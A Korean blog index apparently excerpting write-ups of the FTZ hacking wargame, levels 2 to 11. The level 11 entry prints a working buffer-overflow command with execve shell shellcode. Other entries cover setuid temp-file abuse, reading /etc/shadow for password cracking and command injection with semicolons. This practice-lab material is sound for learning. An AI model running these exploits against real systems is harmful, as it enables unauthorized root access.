시스템 해킹/FTZ30 level 11 버퍼오버플로우를 사용한다! ebp는 0xbfffe668strcpy로 처음 값이 써지는 부분: 0xbfffe560 0xbfffe668-0xbfffe560=264264+4=268268byte 다음의 4byte가 RET가 써지는 부분! ./attackme `python -c 'print "A"*268+"\xe8\xf9\xff\xbf"+"\x90"*2000+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\xb0\x01\xcd\x80"'` 2016. 10. 12. level9 일단, setreuid()에 대해 알아보자. http://shayete.tistory.com/entry/1-%EC%8B%9C%EC%8A%A4%ED%85%9C-%ED%95%B4%ED%82%B9%EC%9D%B4%EB%9E%80-linux-%EA%B8%B0%EC%B4%88%EB%AA%85%EB%A0%B9%EC%96%B4-vim-%EB%AA%85%EB%A0%B9%EC%96%B4-%EC%82%AC%EC%9A%A9%EB%B2%95 이번 포스팅은 기본적인 내용들이 많기 때문에 혹시 (지루하실까봐) 리눅스를 한번이라도 접해보신 분들이라면 아실법한 /bin/sh 와 /bin/bash의bash drop privileges에 대해 잠깐 설명드리고자 합니다.해킹 공부해보신 분들 중에, 왜 우분투에서는 setuid bit가 걸.. 2016. 9. 13. level8 find / -name shadow 2>/dev/null을 하니/etc/shadow가 나온다.그래서 cd /etc을 입력ls -al shadow을 하니용량이 2700이 아니다.그럼 다시find / -size 2700c 2>/dev/null을 하니txt파일이 보인다.txt파일을 읽어보니 암호가 나온다. 1 : 2 : 3 : 4 : 5 : 6 : 7 : 8 : 9 와 같은 구조를 띄고 있다. 각각을 살펴보면 1 : 사용자명 2 : 패스워드 3 : 패스워드 파일 최종 수정일 4 : 패스워드 변경 최소일 5 : 패스워드 변경 최대일 6 : 패스워드 만료 경고 기간 7 : 패스워드 파기 기간 (패스워드 파기 후 계정 비활성 기간) 8 : 계정 만료 기간 9 : 예약 필드 와 같습니다. 패스워드를 존더리퍼라는 프로.. 2016. 9. 12. level7 이 문제는 오류가 있다.cd /bin을 하면level7이라는 파일이 있고, 이를 실행하면패스워드를 입력하라고 한다.그런데 아무거나 입력했을때 힌트가 나와야 하는데wrong.txt가 없어서 힌트가 안나온다고 한다.이때 root의 계정으로 들어가서 wrong.txt를 만들어야 한다.그래서su root를 해서 패스워드 hackerschool을 치고 들어간다.그런 후, cat > wrong.txt를 해서인터넷에 떠도는 힌트를 치고나서 ctrl+d를 한다.그러면 level7을 다시 실행해서 password를 입력하면끝! break the world 2016. 9. 10. level6 라고 넘어가면 어떤 것을 입력하든지 종료된다.따라서, hint가 나와있는 상황에서 Ctrlc+c를 해야 한다.이렇게 해서 ls -al 을 하면 password라는 파일이 나오는데,cat password를 하면 level7의 비밀번호가 나온다. come together 2016. 9. 10. level5 쉬운 방법cd /usr/bin을 입력ls -al level5를 통해 level5라는 파일이 있음을 알 수 있는데, level6에게 SetUID가 걸려있다. cd /tmp를 입력하여 /tmp 디렉토리에 들어간 후,ls -al을 통해 파일을 확인하면, level5.tmp파일이 생성되지 않음을 알 수 있다.그렇다면, level5.tmp파일을 먼저 만들어 놓자.vi level5.tmp를 해도되고,cat > level5.tmp를 해도 된다.어떤 내용들을 입력한후, 다시 cd /usr/bin입력하여./level5을 실행하다.그리고 다시 cd /tmp로 들어가면level5.tmp에 level6의 권한으로 들어갔으니 level6의 패스워드가 써있는 임시 파일이 덤프된다. 두번째 방법 level5.tmp가 생성되고 삭제.. 2016. 9. 10. level4 누군가 /etc/xinetd.d/에 백도어를 심어놓았다 /etc/xinetd.d/을 입력하니 이것이 directory라고 나온다. cd /etc/xinetd.d/을 하면 그 directory로 이동을 하고 ls -al을 입력하니 backdoor라는 파일이 나온다. cat backdoor을 입력해보니 Xinetd(Extended Internet Servieces daemon) 슈퍼데몬서비스 데몬들을 관장하는 데몬을 슈퍼데몬이라고한다. service finger //서비스 이름, /etc/services 파일에 등록된 이름과 같아야 한다. disable =no//xinetd의 제어를 받을 것인가를 결정 yes: 제어 안받아, no: 제어해줘 flags=REUSE socket_type=stream//사용하는 .. 2016. 9. 10. level3 동시에 여러 명령어를 사용하는 방법 결론부터 얘기하자면 동시에 여러 명령어를 사용하기 위한 방법은 세미콘론(;)을 이용하는 것이다. 두개의 원하는 명령을 첫번째명령;두번째명령 이렇게 한번에 두가지 명령을 내릴 수 있는 것이다. 다음은 ls명령을 두번 실행시킨 화면이다. 세미콜론(;)을을 이해하는 부분에서 좀더 이해해야할 부분이다. 이는 절대 두개이상의 명령어를 동시에 실행하도록 하는 것이 아니다. 한줄에 두개의 명령어를 내리 것이라고 이해하여야 한다. 그림을 보면 알다시피 ls가 한번 실행된 결과가 출력이된 뒤에, 두번째 ls가 실행된 결과가 출력된다. 이는 앞의 명령어가 실행되고 종료된뒤 뒤의 명령어가 실행되는 순차적인 실행이다. 자 그럼 autodig 호스트명;my-pass를 실행해보자. 그런데 우리.. 2016. 9. 10. level2 vi 편집기를 연다끌때는 :q 입력 :help iccf for information:q to exit:help or for on-line help:help version6 for version info vi편집기에서는 크게 1)텍스트 입력모드, 2)명령모드, 3)ex모드, 이 세가지의 모드로 나누어 진다. 위 화면에서 새로운 텍스트을 입력하기 시작하려면 "i"를 누르면 커서가 깜박거리면서 키보드의 입력을 기다리게 된다. 이것이 텍스트 입력모드 상태이다. 내용을 편집하다 명령모드로 가기위해서는 Esc를 누르면 커서를 이동할 수 있다(내용 편집중 방향키를 이용해서 커서를 이동시킬 수도 있었으나 vi편집기의 명령어들을 살펴보면 h(왼쪽), j(아래), k(위), l(오른쪽)등을 이용하여 커서를 옮길 수 있기 .. 2016. 9. 9. 이전 1 2 3 4 다음